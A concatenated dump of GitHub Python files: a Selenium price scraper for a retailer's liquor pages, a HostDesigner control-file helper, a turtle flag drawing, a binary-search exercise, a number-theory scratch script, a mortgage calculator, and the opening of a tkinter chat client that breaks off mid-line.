productosSplit[4]\n precioDescuento = productosSplit[4]\n else:\n precio = productosSplit[4]\n descuento = productosSplit[3]\n precioDescuento = productosSplit[5]\n else:\n \n precio = productosSplit[3]\n descuento = 0\n precioDescuento = productosSplit[3]\n\n ultimas_dos = productosSplit[1].split()\n mililitros = \" \".join(ultimas_dos[-2:])\n\n # Escribir la información en el archivo CSV\n with open('../dataset/productosExito.csv', mode='a', encoding='utf-8') as file:\n writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n writer.writerow([contador, productosSplit[0], productosSplit[1], mililitros, precio, descuento, precioDescuento, fecha_scraping])\n\n print(len(productosSplit))\n print(productosSplit)\n\n contador += 1\n\ndef main():\n driver = get_driver(get_random_user_agent())\n base_url = \"https://www.exito.com/licores?_q=licores&map=ft&page=\"\n\n with open('../dataset/productosExito.csv', mode='w', encoding='utf-8') as file:\n writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n writer.writerow(['Id', 'Nombre', 'Descripcion', 'Mililitros', 'Precio', 'Descuento', 'PrecioConDescuento', 'FechaHoraScraping'])\n\n for page in range(1, 41):\n set_random_user_agent(driver)\n driver.get(base_url + str(page))\n # Tiempo de espera para carga pagina\n time.sleep(60)\n productos = scrape_productos(driver)\n guardar_productos(productos)\n\n driver.quit()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Andrex2040/tiendasPriceScraper","sub_path":"src/shopExitoSelenium.py","file_name":"shopExitoSelenium.py","file_ext":"py","file_size_in_byte":6024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21969099356","text":"# Control file for HostDesigner\n# Author: Kutay B Sezginel\n# Date: February 2017\nimport os\n\n\"\"\" Control file keywords \"\"\"\nsample = dict(\n run_type=None, # Type of HostDesigner run (LINK or OVER)\n hosta=None, # File name for OVERLAY input or LINKER input fragment 1 (default: hosta`)\n hostb=None, # File name for LINKER input fragment 2 (default: hostb)\n notype=False, # If true eliminates the need to include atom type in input\n out=None, # Prefix for the output files (default: out) -> out.summ, out_1.hdo, out_2.hdo\n numview=None, # Number of structures to print (def:100, max:100)\n xyz=False, # Limits file output to atom name and coordinates only\n linklib=None, # Path for alternative library (ex: linklib=/.../LIBRARY_syn)\n mirroraoff=False, # If true turns off using mirror image of hosta for building structures\n mirrorboff=False, # If true turns off using mirror image of hostb for building structures\n drivea=False, # Apply geometry drive for hosta\n driveb=False, # Apply geometry drive for hostb\n testdrive=False, # Run test for geometry drives only and export to: out_testa.hdo and out_testb.hdo\n metshape=None, # Check binding site topology (options: TETR, SQPL, TBPY, SQPY, OCTA | default: NONE)\n useclass=False, # If true only first structure from each class in the link library is used\n nochiral=False, # If true all chiral links are discarded\n noprochiral=False, # If true all prochiral links are discarded\n noasym=False, # All links that would give a different connectivity when the attachment points are switched are discarded\n minconn=None, # Min. number of atoms for linker btw. attachment points (default: 0)\n maxconn=None, # Max. number of atoms for linker btw. attachment points (default: 20)\n maxconfe=None, # Max. conformational energy for linker (default: 100.0 kcal/mol)\n maxnrot=None, # Max. num. of rotatable bonds for linker + input (default: 20)\n maxrmsd=None, # Max. RMSD for superposition (default: 100.0 Angstrom)\n tightness=None) # Max. torsion angle deviation in OVERLAY (default: 1.0 corresponds to 20° -> 20°/tightness)\n\n\ndef clean(control):\n \"\"\" Remove unused keywords in control dictionary \"\"\"\n cont = dict(control)\n for kwd in control:\n if cont[kwd] is False or cont[kwd] is None:\n del cont[kwd]\n return cont\n\n\ndef generate(control, export_dir, space=20):\n \"\"\" Generate control file with specified keywords \"\"\"\n cont = clean(control)\n if len(cont) == 1:\n cont_lines = ['%s\\n' % cont['run_type']]\n else:\n cont_lines = ['%s%sAND\\n' % (cont['run_type'], (space - len(cont['run_type'])) * ' ')]\n del cont['run_type']\n for i, kwd in enumerate(cont):\n if type(cont[kwd]) is bool:\n cl = len(kwd)\n end = '%sAND\\n' % (' ' * (space - cl)) if i < len(cont) - 1 else '\\n'\n cont_lines.append('%s%s' % (kwd, end))\n else:\n cl = len(kwd) + len(str(cont[kwd]))\n end = '%sAND\\n' % (' ' * (space - cl - 1)) if i < len(cont) - 1 else '\\n'\n cont_lines.append('%s=%s%s' % (kwd, str(cont[kwd]), end))\n control_path = os.path.join(export_dir, 'control')\n with open(control_path, 'w') as c:\n for line in cont_lines:\n c.write(line)\n return cont\n\n\ndef overlay(hosta=None, export_dir=None):\n \"\"\" Get a generic OVERLAY control file \"\"\"\n cont = dict()\n if hosta is not None:\n cont['hosta'] = '%s ' % hosta\n cont['run_type'] = 'OVER'\n cont['notype'] = True\n cont['maxconn'] = 50\n if export_dir is not None:\n generate(cont, export_dir)\n else:\n return cont\n","repo_name":"caiyingchun/HostDesigner","sub_path":"hostdesigner/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":3824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"26320518671","text":"import turtle\r\nt = turtle.Turtle()\r\nturtle.setup(800, 500)\r\nt.speed(1)\r\n\r\nturtle.bgcolor(\"firebrick\")\r\nt.penup()\r\nt.goto(-400, -37)\r\nt.pendown()\r\n\r\n# White Cross\r\nt.color(\"white\")\r\nt.begin_fill()\r\nt.forward(800)\r\nt.left(90)\r\nt.forward(75)\r\nt.left(90)\r\nt.forward(800)\r\nt.end_fill()\r\n\r\nt.penup()\r\nt.goto(-100, -250)\r\nt.pendown()\r\n\r\nt.begin_fill()\r\nt.forward(75)\r\nt.right(90)\r\nt.forward(500)\r\nt.right(90)\r\nt.forward(75)\r\nt.end_fill()\r\n\r\nt.hideturtle()\r\nturtle.exitonclick()\r\n","repo_name":"RanjitRatiya/Turtle-Files","sub_path":"Denmark.py","file_name":"Denmark.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33492814502","text":"# 공유기 설치\r\nimport sys; input=sys.stdin.readline\r\n\r\nn, c = map(int, input().split())\r\n\r\nx_list = [int(input()) for _ in range(n)] # 집 위치 \r\nx_list.sort() # 오름차순 정렬\r\n\r\nstart, end = 1, x_list[-1] - x_list[0] # 공유기 사이의 거리의 최솟값, 최���값\r\nres = []\r\n\r\nwhile start <= end:\r\n cnt = 1\r\n mid = (start+end)//2 # 중간값 \r\n installed = x_list[0] # 공유기가 설치된 집 위치 왼쪽부터 시작\r\n \r\n for x in x_list:\r\n # 공유기 설치된 집 위치 + 중간값 (공유기 사이의 거리)이 집 위치보다 작거나 같으면,\r\n # 공유기 설치\r\n if installed + mid <= x:\r\n cnt += 1\r\n installed = x\r\n \r\n # 중간값 (공유기 사이의 거리)에 따라 설치된 공유기의 개수가\r\n # 설치할 공유기 개수 C보다 많거나 같으면\r\n if cnt >= c:\r\n start = mid + 1 # 공유기 사이의 거리 + 1\r\n res.append(mid)\r\n else:\r\n end = mid - 1 # 공유기 사이의 거리 -1\r\n \r\nprint(max(res))\r\n\r\n","repo_name":"NewRecsys/Algorithm-Python","sub_path":"김주의/10주차/2110.py","file_name":"2110.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29398293013","text":"import decimal\nfrom decimal import Decimal\ndecimal.getcontext().prec = 100\n\n\n\nfrom misc import choose, prod\nimport primes\n\n\ndef divisors(n):\n factors = primes.prime_factors(n, return_counts=True)\n div = [1]\n for p, r in factors.items():\n div = [d * p**e for d in div for e in range(r + 1)]\n return sorted(div)\n\ndef base_coefs(n, b):\n coefs = []\n while n != 0:\n coefs.append(n % b)\n n //= b\n return coefs\n\ndef alpha(n, x):\n if not primes.is_prime(x):\n return sum([pow(7, k//2, x) * (choose(n, k) % x) for k in range(0, n + 1, 2)])\n return (round(Decimal(0.5) * ((Decimal(1) + Decimal(7)**Decimal(0.5))**n + (Decimal(1) - Decimal(7)**Decimal(0.5))**n))) % x\n \n a = 1\n n_coefs = base_coefs(n, x)\n for k in range(2, n + 1, 2):\n k_coefs = base_coefs(k, x)\n a += pow(7, k//2, x) * prod([choose(n_i, k_i) for n_i, k_i in zip(n_coefs, k_coefs)], x)\n return a % x\n\ndef beta(n, x):\n if not primes.is_prime(x):\n return (round(Decimal(0.5) * ((Decimal(1) + Decimal(7)**Decimal(0.5))**n - (Decimal(1) - Decimal(7)**Decimal(0.5))**n) / Decimal(7)**Decimal(0.5))) % x\n\n b = n % x\n n_coefs = base_coefs(n, x)\n for k in range(3, n + 1, 2):\n k_coefs = base_coefs(k, x)\n b += pow(7, k//2, x) * prod([choose(n_i, k_i) for n_i, k_i in zip(n_coefs, k_coefs)], x)\n return b % x\n\n\n\nalpha_0 = lambda n: (round(Decimal(0.5) * ((Decimal(1) + Decimal(7)**Decimal(0.5))**n + (Decimal(1) - Decimal(7)**Decimal(0.5))**n)))\nbeta_0 = lambda n: (round(Decimal(0.5) * ((Decimal(1) + Decimal(7)**Decimal(0.5))**n - (Decimal(1) - Decimal(7)**Decimal(0.5))**n) / Decimal(7)**Decimal(0.5)))\nf = lambda n: (Decimal(1) + Decimal(7)**Decimal(0.5))**n\n\n\nimport math\ndef g(x):\n if primes.is_prime(x):\n for n in divisors(x**2 - 1):\n if alpha(n, x) == 1 and beta(n, x) == 0:\n return n\n else:\n for n in range(1, x**4):\n if alpha(n, x) == 1 and beta(n, x) == 0:\n return n\n return 0\n\n\ndef G(N):\n return sum([g(x) for x in range(2, N+1)])\n\n\n#i, x = 4, 3\n#print(i, x, alpha(i) % x, alpha_0(i, x))\n#'''\n#for x in primes.sieve(10**3):\n'''\nx = 11**2\nfor k in range(1, x**2):\n n = 60 * k\n if k % 100 == 0: print(k)\n if alpha(n, x) == 1 and beta(n, x) == 0:\n print(\"test\", k, alpha(n, x), beta(n, x))\n'''\n\nprint(alpha(78660, 121), beta(78660, 121))\n\nfor n in divisors(78660):\n print(n, alpha(n, 121), beta(n, 121))\n\n\n#print(g(x))\n'''\nfor x in range(2, 100):\n z = g(x)\n print(x, z)\n'''\n\n#'''\n\n\n\n'''\nprint(alpha(3), beta(3), alpha(12), beta(12))\nprint(g(49))\nfor x in range(30):\n if g(x) > 0:\n print(x, g(x))\n'''\n\n# g(2^n) = 27\n# \n\n'''\nprint(g(27), \"eelenv\")\nfor i in range(1, 30):\n print(i, alpha(i), beta(i), f(i) - alpha(i) - beta(i) * Decimal(7)**Decimal(0.5))\n\nprint()\nfor x in range(3, 50, 2):\n print(x, g(x))\nprint()\n'''\n\n\n\"\"\"\nalpha(0) = 1\nalpha(1) = 1\nalpha(2) = 8\nalpha(3) = 22\n\nbeta(0) = 0\nbeta(1) = 1\nbeta(2) = 2\nbeta(3) = 10\n\n \n\nFor n > 2, alpha(n) and beta(n) must both be even, i.e. alpha(n) != 1 mod 2\nand since beta(1) != 0 mod 2, we know g(2) != 1, which implies g(2) = 0.\n\nAlso, alpha(n) != 1 mod 2 => alpha(n) != 1 mod x for any even x,\nwhich implies g(x) = 0 for all even x.\n\nWe can show that for all n, alpha(n) = 1 mod 7 and beta(n) = n mod 7,\nwhich implies g(7) = 7.\n\nWhat about g(9)? Well we know that g(3) = 0, i.e. there exists no n \nsuch that alpha(n) = 1 mod 3 and beta(n) = 0 mod 3. \nIt follows that g(9) = 0 (and more generally, g(x) = 0 when 3 | x). \n\nSo what's interesting now is:\n 1) what is g(p) for the rest of the primes?\n 2) what is g(p^k)? g(25)? g(49)? g(125)?\n 3) what is g(pq)? g(35)? g(55)? g(29 * 37)?\n 4) what is g(n)?\n\nMy hunch is that g is multiplicative, so we only need to answer 1) and 2) \n\nIf the code is to be believed, g(25) = 60, and g(49) = 49.\nThis suggests that g(p^k) = g(p) * p^{k-1}.\n??? Prove this ??? We'll assume it for now.\n\nIf the code is to be believed, g(35) = 84.\n\nSo now all that remains is to find \n\n# g(2) = 0\n# g(3) = 0\n# g(4) = 0\n# g(5) = 12 = 2^2 * 3 or 12 % 7 = 5 or g(5) = (5^2 - 1) / 2\n# g(6) = 0\n# g(7) = 7\n# g(8) = 0\n# g(9) = 0\n# g(10) = 0\n# g(11) = 60 = 2^2 * 3 * 5 or 60 % 49 = 11 or g(11) = (11^2 - 1) / 2\n# g(12) = 0\n# g(13) = 168 = 2^3 * 3 * 7 or g(13) = 13^2 - 1\n# g(14) = 0\n# g(15) = 0\n# g(16) = 0\n# g(17) = 288 = 2^5 * 3^2 or g(17) = 17^2 - 1\n# g(18) = 0\n# g(19) = 18 = 2 * 3^2 or g(19) = (19^2 - 1) / 20\n# g(20) = 0\n\n\n\n# g(23) = 176 or g(23) = (23^2 - 1) / 3 \n# g(29) = 7 or g(29) = (29^2 - 1) / 120\n# g(31) = 30 or g(31) = (31^2 - 1) / 32\n# g(37) = 12 or g(37) = (37^2 - 1) / 114\n# g(41) = 560 or g(41) = (41^2 - 1) / 3\n# g(43) = 264 or g(43) = (43^2 - 1) / 7\n# g(47) = 46 or g(47) = (47^2 - 1) / 48\n# g(53) = 52 or g(53) = (53^2 - 1) / 54\n# g(59) = 29 or g(59) = (59^2 - 1) / 120\n# g(61) = 3720 or g(61) = (61^2 - 1) / 1\n# g(67) = 4488 or g(67) = (67^2 - 1) / 1\n\n5 -> 3\n11 -> 6\n23 -> 8\n41 -> 14\n\n\nwhat the hell is the pattern?\n\ng(p) divides p^2 - 1 (except for p = 7)\nif g(p) < p then g(p) divides p-1 (and not p+1)\n\n\np^2 - 1 = k * g(p)\np^2 = k * g(p) + 1\n\nk * g(p) = -1 mod p^2\n\ng(19), g(31), g(47), g(53), g(109), g(113), g(137), g(139), g(149) all have g(p) = p - 1\n\n\ng(13), g(17), g(61), g(67), g(71), g(89), g(157) all have g(p) = p^2 - 1 = (p - 1)(p + 1)\n\n\nothers\ng(11), g(23), g(29), g(37), g(41), g(43), g(59), g()\n\n\n\n\n\nwhich ones are the same?\ng(5), g(11), g(73), g(127), g(151) all use d=2\ng(23), g(41) both use d=3\ng(29), g(59) both use d=120\n\n\n11, 2\n13, 1\n17, 1\n19, 20\n23, 3\n29, 120\n31, 32\n\n\nf\n\n1\n2\n3\n7\n8 = 2^3\n20 = 2^2 * 5\n\n\n\n\ng(25) = 60\n\n\n\n\n\n\"\"\"","repo_name":"ini/euler","sub_path":"recent.py","file_name":"recent.py","file_ext":"py","file_size_in_byte":5738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6373321404","text":"import numpy as np \nimport pandas as pd \nfrom scipy.optimize import newton,bisect\nfrom scipy.special import comb\nfrom math import log\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\nimport warnings\n\n\nwarnings.simplefilter(\"always\")\n\n\nclass ExcessParameterFound(UserWarning):\n\tpass\n\n\nclass FixedRateCalculator:\n\n\tdef __init__(self, **kwargs):\n\n\t\tself._check_parameter_validity(**kwargs)\n\n\t\targuments = kwargs.keys()\n\n\t\tif {'loan_size', 'interest_rate', 'monthly_payment', 'num_months'}.issubset(arguments):\n\t\t\tself.loan_size = kwargs['loan_size']\n\t\t\tself.interest_rate = kwargs['interest_rate']\n\t\t\tself.monthly_payment = kwargs['monthly_payment']\n\t\t\tself.num_months = kwargs['num_months']\n\n\n\t\telif {'loan_size','interest_rate','num_months'}.issubset(arguments) and ('monthly_payment' not in arguments):\n\t\t\tself.loan_size = kwargs['loan_size']\n\t\t\tself.interest_rate = kwargs['interest_rate']\n\t\t\tself.num_months = kwargs['num_months']\n\n\t\t\tself.monthly_payment = self._solve_for_monthly_payment()\n\n\n\t\telif {'monthly_payment','num_months','interest_rate'}.issubset(arguments) and ('loan_size' not in arguments):\n\t\t\tself.monthly_payment = kwargs['monthly_payment']\n\t\t\tself.interest_rate = kwargs['interest_rate']\n\t\t\tself.num_months = kwargs['num_months']\n\n\t\t\tself.loan_size = self._solve_for_principal()\n\n\n\t\telif {'loan_size','monthly_payment','interest_rate'}.issubset(arguments) and ('num_months' not in arguments):\n\t\t\tself.loan_size = kwargs['loan_size']\n\t\t\tself.monthly_payment = kwargs['monthly_payment']\n\t\t\tself.interest_rate = kwargs['interest_rate']\n\n\t\t\tself.num_months = self._solve_for_months()\n\n\n\t\telif {'loan_size','monthly_payment','num_months'}.issubset(arguments) and ('interest_rate' not in arguments):\n\t\t\tself.loan_size = kwargs['loan_size']\n\t\t\tself.monthly_payment = kwargs['monthly_payment']\n\t\t\tself.num_months = kwargs['num_months']\n\n\t\t\tpoly = self._construct_interest_rate_poly()\n\t\t\tpoly_deriv = self._construct_interest_rate_poly_deriv()\n\t\t\tself.interest_rate = self._solve_for_interest_rate(poly, poly_deriv)\n\t\t\tif self.interest_rate < 0:\n\t\t\t\twarnings.warn(\"Negative interest rate returned. The monthly payment times the number of months is less than the size of the loan.\", UserWarning)\n\t\t\telif self.interest_rate > 0.10:\n\t\t\t\twarnings.warn(\"Interest rate is unusually high (> 10%). The monthly payment times the number of months is much greater than the size of the loan.\", UserWarning)\n\t\t\telif self.interest_rate < 0.005:\n\t\t\t\twarnings.warn(\"Interest rate is unusually small (< 0.5%).\", UserWarning)\n\t\t\telse:\n\t\t\t\tpass\n\n\n\t\telse:\n\t\t\traise Exception(\"Not enough parameters. Expect all or three of `loan_size`, `monthly_payment`, `num_months`, `interest_rate`.\")\n\n\n\n\tdef amortization_schedule(self, start_year = None, start_month = None):\n\n\t\tif (start_year is not None) and (start_month is not None):\n\t\t\tif (not isinstance(start_year,int)) and (not isinstance(start_month,int)):\n\t\t\t\traise Exception(\"`start_year` and `start_month` must be integers.\")\n\t\t\telif start_month not in {i for i in range(1,13)}:\n\t\t\t\traise Exception(\"`start_month` must be a valid month.\")\n\n\t\t\tdata = {\n\t\t\t'Month': [(date(year = start_year, month = start_month, day = 1) + relativedelta(months=i)).strftime('%b %Y') for i in range(0,self.num_months)],\n\t\t\t'Payment': [self.monthly_payment for i in range(1,self.num_months+1)],\n\t\t\t'Principal': [self.principal_payed_per_month(i) for i in range(1,self.num_months+1)],\n\t\t\t'Interest': [self.interest_payed_per_month(i) for i in range(1,self.num_months+1)]\n\t\t\t}\n\n\t\telse:\n\t\t\tdata = {\n\t\t\t'Month': [i for i in range(1,self.num_months + 1)],\n\t\t\t'Payment': [self.monthly_payment for i in range(1,self.num_months + 1)],\n\t\t\t'Principal': [self.principal_payed_per_month(i) for i in range(1,self.num_months + 1)],\n\t\t\t'Interest': [self.interest_payed_per_month(i) for i in range(1,self.num_months + 1)]\n\t\t\t}\n\n\t\tschedule = pd.DataFrame(data)\n\t\tschedule['Balance'] = self.loan_size - schedule.loc[:,['Principal']].cumsum()\n\t\tschedule['Total Interest'] = schedule.loc[:,['Interest']].cumsum()\n\t\tschedule['% ownership'] = 100*(1 - schedule['Balance']/self.loan_size)\n\t\treturn schedule.loc[:,['Month','Payment','Principal','Interest','Balance','Total Interest','% ownership']]\n\n\n\n\tdef total_interest_payed(self):\n\t\treturn self.total_payed_to_lender() - self.loan_size\n\n\n\n\tdef total_payed_to_lender(self):\n\t\treturn self.monthly_payment*self.num_months\n\n\n\n\tdef interest_payed_per_month(self,month):\n\t\tif not isinstance(month,int):\n\t\t\traise Exception(\"`month` must be integer greater than 0.\")\n\t\telif month < 1:\n\t\t\traise Exception(\"`month` must be integer greater than 0.\")\n\t\telse:\n\t\t\tpass\n\n\t\treturn (self.loan_size*self.interest_rate/12 - self.monthly_payment)*(1 + self.interest_rate/12)**(month - 1) + self.monthly_payment\n\n\n\n\tdef principal_payed_per_month(self, month):\n\t\tif not isinstance(month,int):\n\t\t\traise Exception(\"`month` must be integer greater than 0.\")\n\t\telif month < 1:\n\t\t\traise Exception(\"`month` must be integer greater than 0.\")\n\n\t\treturn self.monthly_payment - self.interest_payed_per_month(month)\n\n\n\n\t@classmethod\n\tdef limit_on_interest_payed(cls, loan_size, num_months, limit_on_interest, verbose = True):\n\t\t\n\t\tcls._check_parameter_validity(**{'loan_size':loan_size, 'num_months': num_months})\n\n\t\tif (not isinstance(limit_on_interest,int)) and (not isinstance(limit_on_interest,float)):\n\t\t\traise Exception(\"Parameter `limit_on_interest` must be int/float and above zero.\")\n\t\telse:\n\t\t\tif limit_on_interest < 0:\n\t\t\t\traise Exception(\"Parameter `limit_on_interest` must be int/float and above zero.\")\n\n\n\t\tmonthly_payment = loan_size + limit_on_interest\n\t\tmonthly_payment /= num_months\n\n\t\tmortgage_instance = cls(loan_size = loan_size, monthly_payment = monthly_payment, num_months = num_months)\n\t\t\n\t\tif verbose:\n\t\t\tprint('For a loan of size: {}, '.format(loan_size))\n\t\t\tprint('and a limit of {} (total payment to lender {}), '.format(limit_on_interest, loan_size + limit_on_interest))\n\t\t\tprint('on a time period of {} months, '.format(num_months))\n\t\t\tprint('amounting to a monthly payment of {}, '.format(monthly_payment))\n\t\t\tprint('...')\n\t\t\tprint('the time to realize that opportunity is when the interest rate reaches {}%'.format(round(100*mortgage_instance.interest_rate,3)))\n\t\telse:\n\t\t\tpass\n\t\t\n\t\treturn mortgage_instance\n\n\n\t@classmethod\n\tdef down_payment_from_limit_on_interest(cls, num_months, interest_rate, cost, limit_on_interest, verbose = True):\n\n\t\tcls._check_parameter_validity(**{'interest_rate':interest_rate, 'num_months': num_months})\n\n\t\tif (not isinstance(limit_on_interest,int)) and (not isinstance(limit_on_interest,float)):\n\t\t\traise Exception(\"Parameter `limit_on_interest` must be int/float and above zero.\")\n\t\telse:\n\t\t\tif limit_on_interest < 0:\n\t\t\t\traise Exception(\"Parameter `limit_on_interest` must be int/float and above zero.\")\n\n\t\tif (not isinstance(cost,int)) and (not isinstance(cost, float)):\n\t\t\traise Exception(\"Parameter `cost` must be int/float and above zero.\")\n\t\telse:\n\t\t\tif cost < 0:\n\t\t\t\traise Exception(\"Parameter `cost` must be int/float and above zero.\")\n\n\n\t\tdown_payment = cost - limit_on_interest*((1 + interest_rate/12)**num_months - 1)/((num_months*interest_rate/12 - 1)*(1 + interest_rate/12)**num_months + 1)\n\t\treturn down_payment\n\n\n\n\tdef _solve_for_monthly_payment(self):\n\t\treturn (self.loan_size*(self.interest_rate/12)*(1 + self.interest_rate/12)**self.num_months) / ((1 + self.interest_rate/12)**self.num_months - 1)\n\n\n\n\tdef _solve_for_principal(self):\n\t\treturn self.monthly_payment*((1 + self.interest_rate/12)**self.num_months - 1) / ((self.interest_rate/12)*(1 + self.interest_rate/12)**self.num_months)\n\n\n\n\tdef _solve_for_months(self):\n\t\treturn int(-log(1 - ((self.interest_rate/12)*self.loan_size/self.monthly_payment)) / log(1 + self.interest_rate/12))\n\n\n\n\tdef _construct_interest_rate_poly(self):\n\t\tcoeff = np.append( self.monthly_payment*comb(N = self.num_months, k = np.arange(1,self.num_months+1)) - self.loan_size*comb(N = self.num_months, k = np.arange(0,self.num_months)), -self.loan_size)[::-1]\n\t\treturn np.poly1d(coeff)\n\n\n\n\tdef _construct_interest_rate_poly_deriv(self):\n\t\tcoeff = np.append( np.arange(1,self.num_months) * ( self.monthly_payment*comb(N = self.num_months, k = np.arange(2,self.num_months+1)) - self.loan_size*comb(N = self.num_months, k = np.arange(1,self.num_months)) ), -self.num_months*self.loan_size)[::-1]\n\t\treturn np.poly1d(coeff)\n\n\n\n\t@staticmethod\n\tdef _solve_for_interest_rate(poly,poly_deriv,x0 = 0.5, maxiter = 100):\n\t\troot, result = newton(func = poly,\n\t\t\t\t\t\t\t\tx0 = x0,\n\t\t\t\t\t\t\t\tfprime = poly_deriv,\n\t\t\t\t\t\t\t\tmaxiter = maxiter,\n\t\t\t\t\t\t\t\tfull_output = True,\n\t\t\t\t\t\t\t\tdisp = False\n\t\t\t\t\t\t\t) \n\n\t\tif not result.converged:\n\t\t\t# fallback to bisection method\n\n\t\t\troot, result = bisect(f = poly,\n\t\t\t\t\t\t\t\t\ta = 0,\n\t\t\t\t\t\t\t\t\tb = 1,\n\t\t\t\t\t\t\t\t\tmaxiter = maxiter,\n\t\t\t\t\t\t\t\t\tfull_output = True,\n\t\t\t\t\t\t\t\t\tdisp = False\n\t\t\t\t\t\t\t\t)\n\n\t\t\tif not result.converged:\n\t\t\t\traise Exception(\"Bisection method is the last resort after Newton's method, and the root finder did not converge.\")\n\n\t\treturn 12*root\n\n\n\n\t@classmethod\n\tdef from_down_payment_and_total(cls, **kwargs):\n\n\t\tif not {'total','down_payment'}.issubset(kwargs.keys()):\n\t\t\traise Exception(\"Parameter `total` and `down_payment` not detected. Please provide these parameters in this alternative constructor.\")\n\n\t\tif 'loan_size' in kwargs.keys():\n\t\t\traise warnings.warn(\"Unused parameter `loan_size` detected. Provided value will be overwritten.\",ExcessParameterFound)\n\n\t\tnew_kwargs = kwargs\n\t\tnew_kwargs.pop('loan_size',None)\n\n\t\tif (not isinstance(new_kwargs['total'], float)) and (not isinstance(new_kwargs['total'],int)):\n\t\t\traise Exception(\"Parameter `total` must be float/int and above zero.\")\n\t\t\n\t\tif new_kwargs['total'] <= 0:\n\t\t\traise Exception(\"Parameter `total` must be float and above zero.\")\n\n\t\tif (not isinstance(new_kwargs['down_payment'],float)) and (not isinstance(new_kwargs['down_payment'],int)):\n\t\t\traise Exception(\"Parameter `down_payment` must be float and above zero.\")\n\n\t\tif new_kwargs['down_payment'] <= 0:\n\t\t\traise Exception(\"Parameter `down_payment` must be float and above zero.\")\n\n\t\tif new_kwargs['down_payment'] >= new_kwargs['total']:\n\t\t\traise Exception(\"Parameter `total` must be greater than parameter `down_payment`.\")\n\n\t\tnew_kwargs['loan_size'] = new_kwargs['total'] - new_kwargs['down_payment']\n\t\tdel new_kwargs['total']\n\t\tdel new_kwargs['down_payment']\n\n\t\treturn cls(**new_kwargs)\n\n\t\n\n\t@staticmethod\n\tdef _check_parameter_validity(**kwargs):\n\n\t\tfor arg in kwargs.keys():\n\t\t\tif arg == 'loan_size':\n\t\t\t\terror_message = \"Parameter `loan_size` must be int/float and above zero.\"\n\n\t\t\t\tif (not isinstance(kwargs['loan_size'],float)) and (not isinstance(kwargs['loan_size'],int)):\n\t\t\t\t\traise Exception(error_message)\n\t\t\t\telse:\n\t\t\t\t\tif kwargs['loan_size'] <= 0:\n\t\t\t\t\t\traise Exception(error_message)\n\n\t\t\telif arg == 'interest_rate':\n\t\t\t\terror_message = \"Parameter `interest_rate` must be float between 0 and 1 (exclusive).\"\n\n\t\t\t\tif not isinstance(kwargs['interest_rate'],float):\n\t\t\t\t\traise Exception(error_message)\n\t\t\t\telse:\n\t\t\t\t\tif kwargs['interest_rate'] >= 1 or kwargs['interest_rate'] <=0:\n\t\t\t\t\t\traise Exception(error_message)\n\n\t\t\telif arg == 'monthly_payment':\n\t\t\t\terror_message = \"Parameter `monthly_payment` must be int/float and above zero.\"\n\n\t\t\t\tif (not isinstance(kwargs['monthly_payment'], float)) and (not isinstance(kwargs['monthly_payment'],int)):\n\t\t\t\t\traise Exception(error_message)\n\t\t\t\telse:\n\t\t\t\t\tif kwargs['monthly_payment'] <= 0:\n\t\t\t\t\t\traise Exception(error_message)\n\n\t\t\telif arg == 'num_months':\n\t\t\t\terror_message = \"Parameter `num_months` must be int and at least one month.\"\n\n\t\t\t\tif not isinstance(kwargs['num_months'], int):\n\t\t\t\t\traise Exception(error_message)\n\t\t\t\telse:\n\t\t\t\t\tif kwargs['num_months'] < 1:\n\t\t\t\t\t\traise Exception(error_message)\n\n\t\t\telse:\n\t\t\t\twarnings.warn(\"Unused parameter `{}` was detected.\".format(arg),ExcessParameterFound)\n","repo_name":"MatthewK100000/Mortgage-Calculator","sub_path":"Mortgage.py","file_name":"Mortgage.py","file_ext":"py","file_size_in_byte":11863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10705117031","text":"from tkinter import *\r\nimport customtkinter as ct\r\nimport tkinter as tk\r\nfrom PIL import Image, ImageTk\r\nfrom tkinter.messagebox import askretrycancel, askyesnocancel\r\nimport socket\r\nimport threading\r\nimport os\r\nimport time\r\nimport random, cProfile\r\n\r\nroot = ct.CTk()\r\nroot.title(\"ChatRoom\")\r\nct.set_appearance_mode(\"dark\")\r\nct.set_default_color_theme(\"themes\\\\green.json\")\r\nbgColor = \"black\"\r\nroot.configure(fg_color=bgColor)\r\n\r\nSERVER_ADDRESS = 'localhost'\r\nSERVER_PORT = 5000\r\nclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\ndef connectToServer():\r\n try:\r\n client_socket.connect((SERVER_ADDRESS, SERVER_PORT))\r\n except:\r\n server = askretrycancel(\"Server Offline\", \"Server is currently offline\")\r\n if server == True:\r\n connectToServer()\r\n else:\r\n quit()\r\n\r\nconnectToServer()\r\n\r\n# Create GUI\r\n\r\navatorFileName = \"sources\\\\loadAvator.txt\"\r\nif os.path.exists(avatorFileName):\r\n pass\r\nelse:\r\n os.makedirs(\"sources\")\r\n with open(avatorFileName, \"x\") as f:\r\n pass\r\n\r\nclass LoginPage:\r\n def __init__(self, root):\r\n self.root = root\r\n self.root.geometry(f\"700x650+{random.randint(100, 200)}+100\")\r\n self.root.resizable(False, False)\r\n self.root.configure(fg_color=\"black\")\r\n\r\n self.loginframe = ct.CTkFrame(self.root, fg_color=\"#333\", corner_radius=15)\r\n\r\n self.loginLabel = ct.CTkLabel(self.loginframe, text=\"Login\", font=(\"game of squids\", 50), text_color=\"white\")\r\n self.loginLabel.pack(side=TOP, pady=30)\r\n\r\n self.usernameInput = ct.CTkEntry(self.loginframe, placeholder_text=\"Username\", font=(\"consolas\", 20), \r\n height=20, width=450, text_color=\"cyan\", fg_color=\"#333\")\r\n self.usernameInput.pack(side=TOP, pady=15, ipady=15)\r\n\r\n self.passwordInput = 